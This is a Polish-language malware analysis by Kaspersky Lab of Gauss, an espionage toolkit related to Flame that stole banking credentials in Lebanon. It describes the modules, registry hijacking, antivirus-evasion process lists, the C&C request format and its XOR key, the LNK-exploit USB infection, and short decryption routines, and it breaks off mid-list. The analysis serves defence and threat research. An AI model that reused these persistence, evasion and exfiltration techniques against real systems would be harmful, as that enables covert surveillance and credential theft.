Stan zagrożeń w internecie znajduje się obecnie na poziomie standardowym. Nie występują duże epidemie a eksperci z Kaspersky Lab nie zanotowali żadnych poważnych incydentów związanych z bezpieczeństwem. Poziom zagrożenia: 1

Gauss: nietypowa dystrybucja

Tagi:


Wprowadzenie

Podczas analizy szkodliwego oprogramowania Flame, które wykryliśmy w maju 2012 r., eksperci z Kaspersky Lab zidentyfikowali pewne cechy wyróżniające moduły Flame'a spośród innych cyberzagrożeń. Na podstawie tych cech odkryliśmy, że w 2009 r. pierwszy wariant robaka Stuxnet zawierał moduł, który został utworzony w oparciu o platformę Flame. To wskazywało na fakt, że istniała jakaś forma współpracy między grupami, które rozwinęły platformy Flame i Tilded (Stuxnet / Duqu).

Bazując na wynikach szczegółowej analizy Flame'a kontynuowaliśmy intensywne poszukiwania nieznanych dotychczas elementów. Głębsza analiza, przeprowadzona w czerwcu 2012 r., zaowocowała wykryciem nowej platformy, która posiada modułową budowę (podobną do tej znanej z Flame'a), podobny szkielet kodu i system przekazywania informacji do serwerów centrum kontroli (centrum kontroli w tym artykule będzie czasem oznaczane C&C lub C2) oraz całą gamę innych podobieństw do Flame'a. Według naszej opinii to wszystko wyraźnie wskazuje, że odkryliśmy nową platformę szkodliwego oprogramowania. Nazwaliśmy ją Gauss. Jest to kolejny przykład cyberszpiegowskiego narzędzia, bazującego na platformie Flame.

Gauss jest projektem rozwijanym w latach 2011 - 2012 w ten sam sposób, co cyberbroń Flame. W ciągu ostatnich 10 miesięcy szkodnik był intensywnie dystrybuowany na Bliskim Wschodzie. Największa liczba ofiar infekcji Gaussa została odnotowana w Libanie. Stanowi to pewien kontrast do Flame'a, który nękał głównie Iran. Pod kątem funkcjonalności, Gauss został zaprojektowany zarówno do gromadzenia maksymalnej ilości informacji o zainfekowanych systemach, jak i do kradzieży poświadczeń dostępu do różnych systemów bankowych, sieci społecznościowych i komunikatorów internetowych. Kod Gaussa zawiera rozkazy przechwytywania danych wymaganych do korzystania z wielu libańskich banków, np. Bank of Beirut, Byblos Bank i Fransabank.

Ciekawostkę stanowi fakt, iż kilka modułów Gaussa zostało nazwanych na cześć sławnych matematyków. Platforma zawiera moduły występujące pod nazwami "Gauss", "Lagrange", "Tailor", "Kurt" (najpewniej w odniesieniu do Godela). Moduł "Gauss" jest odpowiedzialny za gromadzenie najbardziej krytycznych danych, dlatego cały ten zestaw cyberszpiegowski zdecydowaliśmy się nazwać właśnie Gauss. Jest to dużo szerzej rozprzestrzenione zagrożenie niż Flame. Jednakże, w modułach, które do tej pory zaobserwowaliśmy nie widzieliśmy funkcjonalności samoreplikacji, co pozostawia otwartą kwestię pierwotnego wektora ataku.


Streszczenie

Pierwsze znane infekcje dokonane przez Gaussa datowane są na wrzesień / październik 2011 r. Podczas tego okresu czasu, autorzy Gaussa wielokrotnie modyfikowali różne moduły. Zmieniali również adresy serwerów centrum kontroli. W połowie lipca 2012 r., kiedy już wykryliśmy Gaussa i byliśmy w trakcie jego analizy, serwery centrum kontroli zostały wyłączone. Gauss został zaprojektowany do gromadzenia danych i przesyłania ich na serwery C2. Informacje są zbierane przy pomocy wielu modułów, z których każdy posiada swoją własną, unikalną funkcjonalność:

  • Wstrzykiwanie szkodliwego kodu do różnych przeglądarek internetowych w celu przechwytywania sesji użytkownika i kradzieży haseł, plików ciasteczek i historii przeglądarki.
  • Gromadzenie informacji na temat połączeń sieciowych komputera.
  • Gromadzenie informacji o procesach i folderach.
  • Gromadzenie informacji na temat BIOSu i pamięci CMOS RAM.
  • Gromadzenie informacji o dyskach lokalnych, sieciowych i napędach wymiennych.
  • Infekowanie napędów USB modułem szpiegowskim w celu kradzieży informacji z innych komputerów.
  • Instalowanie niestandardowej czcionki Palida Narrow (cel tego działania pozostaje nieznany).
  • Nadzorowanie ładowania i działania całego zestawu narzędziowego.
  • Interakcja z serwerem centrum kontroli, przesyłanie zebranych informacji, pobieranie dodatkowych modułów.

Moduł szpiegowski, który operuje na napędach USB, oparty jest na exploicie .LNK wykorzystującym podatność CVE-2010-2568. Exploit jest bardzo podobny do tego użytego w robaku Stuxnet, ale jest o wiele bardziej efektywny. Moduł maskuje pliki trojana na napędzie USB bez używania sterownika. Nie infekuje systemu: informacje z systemu ofiary są pobierane z użyciem modułu szpiegowskiego (32- lub 64-bitowego) i zapisywane na urządzeniu USB.


Statystyki infekcji

Na początku czerwca 2012 r. rozpoczęliśmy nasze dochodzenie w sprawie Gaussa. W oparciu o dane uzyskane z Kaspersky Security Network, stwierdziliśmy, że trojan był szeroko dystrybuowany na terenie trzech wybranych krajów na Bliskim Wschodzie. Dalsze obserwacje potwierdziły powyższe spostrzeżenia. 31 lipca 2012 r. mieliśmy około 2500 odrębnych komputerów PC, na których obecne były pliki charakterystyczne dla całej kolekcji pod nazwą "Gauss".

 
Najbardziej zainfekowane kraje

Największa liczba infekcji została zarejestrowana w Libanie - obejmowała ponad 1600 komputerów. Kod Gaussa ("winshell.ocx") zawiera bezpośrednie rozkazy do przechwytywania danych wymaganych przez libańskie banki - z uwzględnieniem Bank of Beirut, Byblos Bank oraz Fransabank. W Izraelu i na terytorium palestyńskim odnotowano 750 przypadków infekcji.

KrajLiczba zainfekowanych użytkowników
Liban 1660
Izrael 483
Terytorium palestyńskie 261
Stany Zjednoczone 43
Zjednoczone Emiraty Arabskie 11
Niemcy 5
Egipt 4
Katar 4
Jordania 4
Arabia Saudyjska 4
Syria 4

10 najbardziej zainfekowanych krajów

Analizując powyższą tabelę wyraźnie widać, że za wyjątkiem drobnych przypadków w USA i Niemczech, wszystkie incydenty miały miejsce na Bliskim Wschodzie. Jednakże sądzimy, że większość przypadków powiązanych ze Stanami Zjednoczonymi i terytorium Niemiec również dotyczy użytkowników z Bliskiego Wschodu - tych korzystających z wirtualnych sieci prywatnych gwarantujących anonimowość (np. Tor). W sumie odnotowaliśmy przypadki infekcji w 25 krajach na całym świecie; jednak we wszystkich krajach spoza rankingu "top 10" zarejestrowaliśmy jeden, góra dwa przypadki:

Całkowita ilość zainfekowanych systemów

Jeżeli chodzi o mechanizm rozprzestrzeniania się Gaussa - pozyskane dane pozostawiły więcej pytań niż odpowiedzi. Całkowita liczba przypadków infekcji (około 2500), które wykryliśmy, może w istocie stanowić niewielką część dziesiątek tysięcy incydentów, ponieważ nasze statystyki dotyczą jedynie użytkowników produktów Kaspersky Lab. Kiedy porównamy liczbę infekcji Gaussa z programami wykrytymi wcześniej - posiadającymi albo wspólne elementy lub struktury, otrzymamy następujące dane:

NazwaIncydenty (statystyki Kaspersky Lab)Incydenty (szacunkowo)
Stuxnet Więcej niż 100 000 Więcej niż 300 000
Gauss ~ 2500 ?
Flame ~ 700 ~5000-6000
Duqu ~20 ~50-60

Gauss rozprzestrzenia się w regionie od co najmniej 10 miesięcy, w trakcie których zainfekował tysiące systemów. Z jednej strony występuje nietypowo duża liczba ataków ukierunkowanych podobnych do Duqu (możliwe, że tak duża liczba incydentów spowodowana jest obecnością w modułach Gaussa robaka, którego istnienia nie jesteśmy świadomi). Jednakże, infekcja zamknęła się w granicach niewielkiego obszaru geograficznego. Jeżeli szkodnik posiadałby możliwość samoreplikacji - np. na kluczach USB, jak miało to miejsce w przypadku Stuxneta - infekcje wykryte zostałyby w innych krajach i to w znacznie większych ilościach.


Statystyki systemu operacyjnego

Gauss został zaprojektowany dla 32-bitowych wersji systemu operacyjnego Windows. Niektóre z modułów nie działają w przypadku Windows 7 SP1.

System operacyjnyUdział procentowy
Windows 7 34,87
XP Professional SP2 26,40
XP Professional SP3 17,92
Windows 7 SP1 10,77
Windows 7 Home 2,15
Vista Home SP1 1,71
Vista Home 1,22
Windows 7 Home SP1 0,88
Vista Home SP2 0,83
Vista 0,64
Vista SP2 0,39
XP Home Edition 0,39
Vista SP1 0,34
Inne 1,47

Istnieje osobny moduł szpiegujący, który działa na napędach USB (zobacz opis modułu "dskapi.ocx") i został zaprojektowany do zbierania informacji z 64-bitowych systemów operacyjnych.


Architektura

Gauss jest systemem modułowym. Ilość i kombinacja modułów mogą zmieniać się w zależności od zainfekowanego systemu. W trakcie naszych badań odkryliśmy następujące moduły:

Nazwa modułuLokalizacjaOpis
Cosmos %system32%\devwiz.ocx Gromadzi informacje na temat pamięci CMOS i BIOSu
Kurt, Godel %system32%\dskapi.ocx Infekuje napędy USB modułem wykradającym dane
Tailor %system32%\lanhlp32.ocx Gromadzi informacje na temat interfejsów sieciowych
McDomain %system32%\mcdmn.ocx Gromadzi informacje na temat domen użytkowników
UsbDir %system32%\smdk.ocx Gromadzi informacje o dyskach komputera
Lagrange %system32%\windig.ocx Instaluje niestandardową czcionkę "Palida Narrow"
Gauss %system32%\winshell.ocx Instaluje wtyczki przeglądarki internetowej, które wykradają hasła i pliki ciasteczek
ShellHW "%system32%\wbem\wmiqry32.ocx
%system32%\wbem\wmihlp32.ocx "
Główny loader i moduł komunikacyjny

Konfiguracja specyficznego połączenia modułów dla każdego infekowanego systemu zapisywana jest specjalnym kluczu rejestru. Zarówno ta metoda, jak i sama struktura konfiguracji, są podobne do tego, co miało miejsce w Stuxnecie / Duqu (przechowywanie konfiguracji w rejestrze Windows) i szkodniku Flame (struktura konfiguracji). Flame przechowuje swoją konfigurację w głównym module ("mssecmgr.ocx"). Utworzyliśmy specjalną procedurę detekcji, która pomogła nam w wykrywaniu różnych konfiguracji Gaussa w zależności od ustawień rejestru na zainfekowanych komputerach. W sumie odkryliśmy około 1700 takich konfiguracji, co ujawniło obraz propagacji modułów:

ModułLiczba komputerów PC z danym modułem (zdefiniowanym w konfiguracji)
UsbDir 1655
Godel 1220
Gauss 858
Gauss 1.1 510
Kurt (zwany również Godel) 433
Gauss 1.0.8 318
Tailor 28
McDomain 1.2 5
Cosmos 5
Lagrange 3

Można zobaczyć trzy główne moduły, które są stosowane w większości przypadków - "Gauss", "Godel" i "UsbDir". Przykłady innych konfiguracji:

Jak wspomnieliśmy wcześniej, nie udało nam się odkryć pierwotnego wektora infekcji oraz pliku (droppera) odpowiedzialnego za instalację Gaussa w systemie. We wszystkich badanych systemach mieliśmy do czynienia z zestawem modułów, który już został zainstalowany. Możliwe, że podczas wstępnej infekcji instalowany jest jedynie komponent "ShellHW", który później instaluje kolejne moduły.

 

"ShellHW" (nazwa pliku "wmiqry32.dll" / "wmihlp32.dll") jest głównym składnikiem szkodnika, który zapewnia, że wszystkie niezbędne moduły są ładowane, kiedy Gauss jest uruchamiany oraz, że funkcjonują one prawidłowo.


Porównanie z Flamem

Zgodnie z tym co napisaliśmy wcześniej, istnieją duże podobieństwa w kodzie i architekturze Gaussa i Flame'a. I tak naprawdę w dużej mierze dzięki tym podobieństwom Gauss został wykryty. Stworzyliśmy poniższą tabelę dla lepszego zrozumienia tego faktu, ukazując jednocześnie dowód "pokrewieństwa" między tymi dwoma platformami ataku:

FunkcjaFlameGauss
Architektura modułowa Tak Tak
Użycie sterowników jądra Nie Nie
Pliki z rozszerzeniami .OCX Tak Tak
Ustawienia konfiguracyjne Zdefiniowane w ciele modułu Przechowywane w rejestrze
Iniekcje DLL Tak Tak
Visual C++ Tak Tak
Metody szyfrowania XOR XOR
Używanie USB jako magazynu Tak (hub001.dat) Tak (.thumbs.db)
Wbudowane oskryptowanie LUA Tak Nie
Kradzież plików ciasteczek / historii przeglądarki Tak (soapr32 / nteps32) Tak (winshell)
CVE2010-2568 (exploit .LNK) Tak (target.lnk) Tak (target.lnk)
Komunikacja z centrum kontroli https https
Pliki dziennika / skradzione dane przechowywane w %temp% Tak Tak
Kompresja zgromadzonych danych (Zlib) Tak Tak

Dodatkowo do funkcji wyszczególnionych powyżej, istnieją znaczne podobieństwa w pracy serwerów C&C Flame'a i Gaussa. Odpowiednią analizę zamieściliśmy w sekcji traktującej o komunikacji z centrum kontroli. Jest więcej podobieństw w kodzie i danych modułów:

  • Struktury informacji typu uruchomieniowego C++ (RTTI) są zakodowane w celu ukrycia nazw klas standardowych bibliotek. Te same zakodowane nazwy można znaleźć zarówno w modułach Flame'a, jak i Gaussa, np. pierwsza struktura RTTI zawiera nazwę "AVnxsys_uwip", która zapewne przynależy do klasy "AVtype_info".
  • Większość modułów Flame'a i Gaussa zawiera dziesiątki funkcji inicjujących obiekty, które z zaszyfrowanych danych konstruują ciągi znakowe. Układ tych funkcji jest prawie identyczny.
     
  • Procedury odszyfrowania ciągów znakowych ("GetDecryptedStrings" używane w funkcjach inicjujących obiekty) są bardzo podobne, chociaż nie identyczne, ponieważ układ struktur przechowujących zaszyfrowane ciągi znaków został zmieniony.
     

Wmiqry32.dll / Wmihlp32.dll czyli ShellHW

Biblioteki instalowane przez: nieznany dropper.
Działanie w dwóch trybach: tryb instalacji / tryb normalny.

Nazwy plików%system32%\wbem\wmiqry32.dll
%system32%\wbem\wmihlp32.dll
Znane sumy MD5 C3B8AD4ECA93114947C777B19D3C6059
08D7DDB11E16B86544E0C3E677A60E10
055AE6B8070DF0B3521D78E1B8D2FCE4
FA54A8D31E1434539FBB9A412F4D32FF
01567CA73862056304BB87CBF797B899
23D956C297C67D94F591FCB574D9325F
Rozmiar obrazu 258 048 bajtów
Liczba zasobów 7
Zasoby 121, 131, 141, 151, 161, 171, 181
Data kompilacji 1 czerwca 2011 r.
16 lipca 2011 r.
18 lipca 2011 r.
28 września 2011 r.
20 października 2011 r.
Powiązane pliki %temp%\~shw.tmp
%temp%\~stm.tmp "


Instalacja

Moduł sprawdza, czy został załadowany przez proces "lsass.exe" i, jeżeli odpowiedź jest pozytywna, kontynuuje instalację. Zapisuje się w plikach: "%system32%\wbem\wmiqry32.dll", "%system32%\wbem\wmihlp32.dll" i modyfikuje rejestr systemowy, aby być ładowanym zamiast pliku "%system32%\wbem\wbemsvc.dll". Aby to osiągnąć, nadpisuje następującą wartość rejestru:

[HKCR\CLSID\{ 7C857801-7381-11CF-884D-00AA004B2E24}\InProcServer32]
Default = %system32%\wbem\wmihlp32.dll


Działanie

Moduł jest automatycznie ładowany w procesy, które używają "wbemsvc.dll". Kiedy zostanie załadowany w proces "svchost.exe", który został uruchomiony z parametrem "-k netsvc", moduł rozpoczyna swój główny wątek. Moduł tworzy zdarzenia "ShellHWStop", "Global\ShellHWDetectionEvent" i mutex "ShellHWDetectionMutex". Główny wątek nie jest zamykany, jeżeli w chwili jego rozpoczęcia zostały znalezione następujące procesy:

LMon.exe sagui.exe RDTask.exe kpf4gui.exe
ALsvc.exe pxagent.exe fsma32.exe licwiz.exe
SavService.exe prevxcsi.exe alertwall.exe livehelp.exe
SAVAdminService.exe csi-eui.exe mpf.exe lookout.exe
savprogress.exe lpfw.exe mpfcm.exe emlproui.exe
savmain.exe outpost.exe fameh32.exe emlproxy.exe
savcleanup.exe filemon.exe AntiHook.exe endtaskpro.exe
savcli.exe procmon.exe xfilter.exe netguardlite.exe
backgroundscanclient.exe Sniffer.exe scfservice.exe oasclnt.exe
sdcservice.exe acs.exe scfmanager.exe omnitray.exe
sdcdevconx.exe aupdrun.exe spywaretermin
atorshield.exe
onlinent.exe
sdcdevconIA.exe sppfw.exe spywat~1.exe opf.exe
sdcdevcon.exe spfirewallsvc.exe ssupdate.exe pctavsvc.exe
configuresav.exe fwsrv.exe terminet.exe pctav.exe
alupdate.exe opfsvc.exe tscutynt.exe pcviper.exe
InstLsp.exe uwcdsvr.exe umxtray.exe persfw.exe
CMain.exe dfw.exe updclient.exe pgaccount.exe
CavAUD.exe ipatrol.exe webwall.exe privatefirewall3.exe
CavEmSrv.exe pcipprev.exe winroute.exe protect.exe
Cavmr.exe prifw.exe apvxdwin.exe rtt_crc_service.exe
Cavvl.exe tzpfw.exe as3pf.exe schedulerdaemon.exe
CavApp.exe privatefirewall3.exe avas.exe sdtrayapp.exe
CavCons.exe pfft.exe avcom.exe siteadv.exe
CavMud.exe armorwall.exe avkproxy.exe sndsrvc.exe
CavUMAS.exe app_firewall.exe avkservice.exe snsmcon.exe
UUpd.exe blackd.exe avktray.exe snsupd.exe
cavasm.exe blackice.exe avkwctrl.exe procguard.exe
CavSub.exe umxagent.exe avmgma.exe DCSUserProt.exe
CavUserUpd.exe kpf4ss.exe avtask.exe avkwctl.exe
CavQ.exe tppfdmn.exe aws.exe firewall.exe
Cavoar.exe blinksvc.exe bgctl.exe THGuard.exe
CEmRep.exe sp_rsser.exe bgnt.exe spybotsd.exe
OnAccessInstaller.exe op_mon.exe bootsafe.exe xauth_service.exe
SoftAct.exe cmdagent.exe bullguard.exe xfilter.exe
CavSn.exe VCATCH.EXE cdas2.exe zlh.exe
Packetizer.exe SpyHunter3.exe cmgrdian.exe adoronsfirewall.exe
Packetyzer.exe wwasher.exe configmgr.exe scfservice.exe
zanda.exe authfw.exe cpd.exe scfmanager.exe
zerospywarele.exe dvpapi.exe espwatch.exe dltray.exe
zerospywarelite_installer.exe clamd.exe fgui.exe dlservice.exe
Wireshark.exe sab_wab.exe filedeleter.exe ashwebsv.exe
tshark.exe SUPERAntiSpyware.exe firewall.exe ashdisp.exe
rawshark.exe vdtask.exe firewall2004.exe ashmaisv.exe
Ethereal.exe asr.exe firewallgui.exe ashserv.exe
Tethereal.exe NetguardLite.exe gateway.exe aswupdsv.exe
Windump.exe nstzerospywarelite.exe hpf_.exe avastui.exe
Tcpdump.exe cdinstx.exe iface.exe avastsvc.exe
Netcap.exe cdas17.exe invent.exe  
Netmon.exe fsrt.exe ipcserver.exe  
CV.exe VSDesktop.exe ipctray.exe  

Moduł odczytuje wartość rejestru "SOFTWARE\Microsoft\Windows\CurrentVersion\Reliability\TimeStampForUI". Jest to zaszyfrowany plik konfiguracyjny. Plik konfiguracyjny zawiera listę dodatkowych modułów, ich nazwy, nazwy funkcji eksportu DLL do wywołania i lokalizacje dodatkowych plików.

 
Gauss ShellNotifyUser ShellNotifyUserEx SetWindowEvent InitShellEx %systemroot%\system32\winshell.ocx %temp%\ws1bin.dat Godel InitCache RevertCache ValidateEntry CreateEntry %windir%\system32\dskapi.ocx %temp%\~gdl.tmp UsbDir InitCache RevertCache ValidateEntry CreateEntry %windir%\system32\smdk.ocx %temp%\~mdk.tmp

Ciągów znaków z pliku konfiguracyjnego (przykład)


Każdy moduł jest ładowany zgodnie z konfiguracją i wywoływane są jego funkcje eksportowe. Większość działań jest rejestrowanych i zapisywanych w zaszyfrowanym (XOR) pliku "%temp%\~shw.tmp".


Odszyfrowana próbka "~shw.tmp"

Po załadowaniu modułów dodatkowych, moduł główny stara się uzyskać te same przywileje, co proces "explorer.exe", a następnie rozpoczyna interakcję z serwerem C&C. Przed nawiązaniem komunikacji z centrum kontroli, wszystkie informacje z plików dzienników innych modułów są kopiowane do pliku "~shw.tmp". Ścieżki dostępu do plików dzienników są pobierane z pliku konfiguracyjnego "TimeStampForUI". W rezultacie, na tym etapie plik "~shw.tmp" staje się uniwersalnym kontenerem zawierającym wszelkie skradzione dane. Moduł główny testuje połączenie internetowe (HTTPS) starając się uzyskać dostęp do adresów URL wyszczególnionych w zasobie 161.

Następnie moduł główny sprawdza połączenie HTTPS z witryną "www.google.com" lub "www.update.windows.com". Jeżeli w odpowiedzi otrzymana zostanie wartość "200 OK", moduł wysyła zgłoszenie z parametrami serwera proxy, pobranymi z pliku "prefs.js" przeglądarki Mozilla Firefox. Jeżeli połączenie z internetem jest aktywne, moduł łączy się z serwerami C&C określonymi w zasobie 131:

Połączenie jest nawiązywane z wykorzystaniem API "WinInet" i jest przeprowadzane dwuetapowo:

  1. DOSTARCZ zgłoszenie do serwera. W odpowiedzi spodziewane są nowe moduły, polecenia i dane konfiguracyjne.
    GET [domena_C&C]/userhome.php?sid=[losowy_ciąg_znaków]==&uid=VfHx8fHx8fHx8fHx8fHx8fHx8f
  2. ZAMIEŚĆ na serwerze zgłoszenie z zawartością pliku "~shw.tmp", który zawiera wszystkie dane zgromadzone na zainfekowanym komputerze.

     

Odpowiedź z serwera jest odszyfrowywana z użyciem XOR i wartości 0xACDC jako klucza. Wyprowadzane dane są kompresowane z wykorzystaniem biblioteki Zlib. Procedura łączenia z centrum kontroli kontrolowana jest przez wartość DWORD, która jest odczytywana z rejestru:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Reliability]ShutdownIntervalSnapshotUI

Początkowa wartość licznika jest odczytywana z zasobu 181 i wynosi 56. Wartość ta jest zmniejszana za każdym razem, kiedy moduł nie może się połączyć z serwerem C&C lub z serwerami wyszczególnionymi w zasobie 161, i jest resetowana do wartości początkowej po każdym pomyślnym połączeniu z serwerem C&C. Moduł wychodzi z pętli nawiązywania połączenia z C&C kiedy wartość licznika wyniesie zero.

ZasóbOpis
121 3 wartości DWORD, powiązane z listą programów antywirusowych (AV)
131 Nazwy i adresy URL serwerów C&C
141 Lista programów AV, zapór sieciowych itd.
151 Dodatkowe, konfiguracyjne wartości DWORD
161 Nazwy i adresy URL legalnych witryn do sprawdzania połączenia internetowego
171 Ciąg tajemniczych identyfikatorów
181 Wartość DWORD - liczba prób połączeń z serwerem C&C

File Version: 2001.12.4414.320 Product Version: 5.1.2600.5788 File OS: WINDOWS32 File Type: DLL File SubType: UNKNOWN Language/Code Page: 1033/1200 CompanyName: Microsoft Corporation FileDescription: WMI COM Helper FileVersion: 2001.12.4414.320 LegalCopyright: Copyright (C) Microsoft Corp. 1995-1999 LegalTrademarks: Microsoft(R) is a registered trademark of Microsoft
Corporation. Windows(TM) is a trademark of Microsoft Corporation ProductName: WMI COM Services Help ProductVersion: 05.01.2600.5788

Informacje o wersji biblioteki "wmiqry32.dll"


Dskapi.ocx

Nazwa modułu używanego w Gaussie: "Godel" lub "Kurt".

Nazwa pliku%system32%\dskapi.ocx
Znane sumy MD5 ED5559B0C554055380D75C1D7F9C4424
E379270F53BA148D333134011AA3600C
EF83394D9600F6D2808E0E99B5F932CA
Rozmiar obrazu 1 327 104 bajtów
954 368 bajtów
962 560 bajtów
417 792 bajtów
Liczba zasobów 2
Zasoby 100, 101
Data kompilacji 28 września 2011 r.
13 października 2011 r.
1 listopada 2011 r.
29 listopada 2011 r.
Powiązane pliki %temp%\~gdl.tmp
.thumbs.db
wabdat.dat
desktop.ini
target.lnk
System32.dat
System32.bin
.CatRoot.tmp

Moduł tworzy zdarzenia: "{ 12258790-A76B}", "Global\RasSrvReady". Cała funkcjonalność jest implementowana w funkcji eksportu "RevertCache". Moduł rozpoczyna główny wątek, a następnie wykonuje powrót. Główny wątek oczekuje na zdarzenie "{ 12258790-A76B}" i ciągle sprawdza obecność oprogramowania antywirusowego. "ValidateEntry" sygnalizuje zdarzenie "{ 12258790-A76B}", pozwalając głównemu wątkowi pracować jeszcze przez 3 sekundy, a następnie kończy jego działanie. Moduł zapisuje plik dziennika: "%temp%\~gdl.tmp". Wpisy pliku dziennika są kompresowane z wykorzystaniem biblioteki Zlib. Moduł odczytuje klucz rejestru "HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum". Następnie sprawdza po nazwach uruchomione oprogramowanie antywirusowe i kończy pracę, jeżeli któryś z następujących programów jest obecny:

  • AVKProxy.exe
  • AVKService.exe
  • AVKTray.exe
  • AVKWCtl.exe
  • GDFirewallTray.exe
  • GDFwSvc.exe
  • GDScan.exe
  • abcd.exe
  • avp.exe
  • fameh32.exe
  • fch32.exe
  • fsar32.exe
  • fsav32.exe
  • fsdfwd.exe
  • fsgk32.exe
  • fsgk32st.exe
  • fsguidll.exe
  • fshdll32.exe
  • fsm32.exe
  • fsma32.exe
  • fsmb32.exe
  • fsorsp.exe
  • fspc.exe
  • fsqh.exe
  • fssm32.exe
  • fsus.exe
  • gsava.exe
  • gssm32.exe
  • vsmon.exe
  • zapro.exe
  • zlclient.exe

Moduł kończy pracę również w przypadku, gdy został uruchomiony na systemie operacyjnym Windows 7 SP1. Przez sprawdzenie gałęzi ENUM w rejestrze i przeszukując ciąg "USBSTOR", moduł stara się określić, czy podłączony jest magazyn USB. Jeżeli napęd zawiera plik ".thumbs.db", jego zawartość jest odczytywana i sprawdzana jest obecność prawidłowej magicznej liczby 0xEB397F2B. Jeżeli znaleziona wartość jest zgodna, moduł tworzy plik "%commonprogramfiles%\system\wabdat.dat" i zapisuje do niego dane z urządzenia. Następnie usuwa plik ".thumbs.db". W kolejnym kroku moduł infekuje napęd USB tworząc katalogi o nazwach ".Backup0[D-M]" i ".Backup00[D-M]".

Zainfekowany folder główny urządzenia USB (przed uaktywnieniem)

Każdy katalog zawiera specjalnie spreparowane pliki "desktop.ini" i "target.lnk", które eksploatują lukę LNK.

  "target.lnk"
[.ShellClassInfo]
CLSID = { 0AFACED1-E828-11D1-9187-B532F1E9575D}
CLSID2 = { 0AFACED1-E828-11D1-9187-B532F1E9575D}
UICLSID = { 0AFACED1-E828-11D1-9187-B532F1E9575D}

"desktop.ini"

Listing katalogu ".Backup0*"

W katalogu głównym urządzenia tworzone są pliki "System32.dat" i "System32.bin", biblioteki DLL ładunku oraz plik ".thumbs.db". Ładunki przechowywane są jako zasoby i szyfrowane przy pomocy prostej procedury XOR.

static int decrypt(uint8_t *data, unsigned int dataLen) { uint32_t acc = 0xCC; for (unsigned int i = 0; i < dataLen; i++ ) { uint8_t acc2 = data[i]; data[i] ^= acc; acc = acc2; } return 0; }
ZasóbNazwa plikuOpis
100 System32.dat (.CatRoot.tmp) Ładunek 32-bitowy
101 System32.bin (.CatRoot.tmp) Ładunek 64-bitowy


Ładunek USB

Zarówno 32-bitowe, jak i 64-bitowe biblioteki DLL implementują tę samą funkcjonalność. Kiedy zostaną załadowane z wykorzystaniem podatności LNK, rozpoczynają główny wątek, a następnie wykonują powrót. Główny wątek kopiuje ładunek do katalogu "%TEMP%" i uruchamia go. Podczas ładowania tworzony jest mutex "Isvp4003ltrEvent", funkcja "NtQueryDirectoryFile" jest dopisywana do pliku "ntdll.dll" - w ten sposób wątek zaczyna ukrywać swoje pliki - następnie generowane jest zdarzenie naciśnięcia klawisza "F5", które zostaje wysłane do klas "SysListView32", "SysTreeView32", "DirectUIHWND", co powoduje odświeżenie listingu katalogów Eksploratora Windows. Ta operacja ukrywa pliki. Wątek oczekuje na zdarzenie "Global\RasSrvReady".

Następnie z systemu pobierane są następujące dane:

  • Wersja systemu operacyjnego Windows
  • Informacje o stacji roboczej
  • Informacje o karcie sieciowej
  • Tablica routingu
  • Lista procesów
  • Zmienne środowiskowe i informacje o dyskach
  • Lista widocznych udziałów sieciowych
  • Informacje o proxy sieciowym
  • Lista widocznych serwerów MS SQL
  • Pamięć podręczna z adresami URL

Wszystkie te informacje są kodowane i dodawane do pliku ".thumbs.db" na zainfekowanym magazynie. Plik ten zawiera również wartość czasu życia TTL (ang. Time To Live), która jest zmniejszana o 1 za każdym razem, gdy ładunek jest uruchamiany z zainfekowanego magazynu. Kiedy licznik TTL osiągnie wartość 0, ładunek czyści medium usuwając katalogi ".Backup0*" oraz pliki "System32.dat" i "System32.bin", i pozostawia plik ".thumbs.db" ze zgromadzonymi informacjami. Domyślna wartość TTL wynosi 30.

Istnieje kilka "specjalnych" wersji ładunku. Zawierają specjalne sekcje PE z nazwami ".exsdat", ".exrdat" i ".exdat". Te sekcje są zaszyfrowane przy pomocy RC4. Klucz szyfrowania jest wyliczany z hashowanej sumy MD5 określanej po dziesięciu tysiącach iteracji kombinacji środowiskowego ciągu znaków "%PATH%" i nazwy katalogu w "%PROGRAMFILES%".

Ani klucz RC4, ani zawartość tych sekcji nie są do tej pory znane. Ładunek zawiera również zaszyfrowany zasób o symbolu "100".


Plik ".thumbs.db"

Jest to kontener dla danych skradzionych przez ładunek "dskapi".

Offset Data
0 Magiczna liczba: 0xEB397F2B
4 Licznik TTL
: Zakodowane dane

Zakodowane dane składają się z macierzy zakodowanych ciągów znaków, rozdzielonych magiczną liczbą 0xFF875686.

Offset Opis
0 Magiczna liczba:
0xFF875686 - koniec macierzy wpisów, trzeba szukać następnej magicznej liczby
0xFF875683 XOR ( DługośćWpisu + 5 ) - początek wpisu
4 Zakodowany ciąg znaków, DługośćWpisu [ilość_bajtów]

Każdy wpis jest kodowany przy pomocy prostego algorytmu używającego pozycji znaku i długości wpisu, i może zostać zdekodowany przy pomocy poniższej procedury:

for (unsigned int j = 0; j < DługośćWpisu; j++ ) { ptr[i + j] ^= DługośćWpisu; ptr[i + j] -= j; }
File Version: 5.1.3700.0 Product Version: 5.1.3700.0 File OS: NT (WINDOWS32) File Type: DRV File SubType: DRV SOUND File Date: 00:00:00 00/00/0000 Language/Code Page: 1033/1200 CompanyName: Microsoft Corporation FileDescription: Disk Helper FileVersion: 5.1.3700.0 InternalName: dskapi.ocx LegalCopyright: Microsoft Corporation. All rights reserved. OriginalFilename: dskapi.ocx ProductName: Microsoft(R) Windows(R) Operating System ProductVersion: 5.1.3700.0

Informacje o wersji "dskapi.ocx"


Smdk.ocx

Nazwa modułu użytego w Gaussie: "UsbDir".

Nazwa pliku%system32%\smdk.ocx
Znane sumy MD5 5604A86CE596A239DD5B232AE32E02C6
90F5C45420C295C73067AF44028CE0DD
Rozmiar obrazu 212 992 bajtów
Data kompilacji 27 września 2011 r.
17 października 2011 r.
Powiązany plik %temp%\~mdk.tmp

Tworzy zdarzenia: "{ B336C220-B158}", "Global\SmSrvReady". Cała funkcjonalność jest implementowana w funkcji eksportu "RevertCache". Moduł rozpoczyna swój własny wątek i wykonuje powrót. Główny wątek oczekuje na zdarzenie "{ B336C220-B158}" i ciągle sprawdza obecność oprogramowania antywirusowego. "ValidateEntry" sygnalizuje zdarzenie "{ B336C220-B158}" zezwalając na rozpoczęcie wyliczania dysków. Moduł zapisuje plik dziennika: "%temp%\~mdk.tmp".Odczytuje wartość rejestru "HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum". Następnie sprawdza po nazwach uruchomione oprogramowanie antywirusowe i kończy pracę, jeżeli któryś z następujących programów jest obecny:

  • AVKProxy.exe
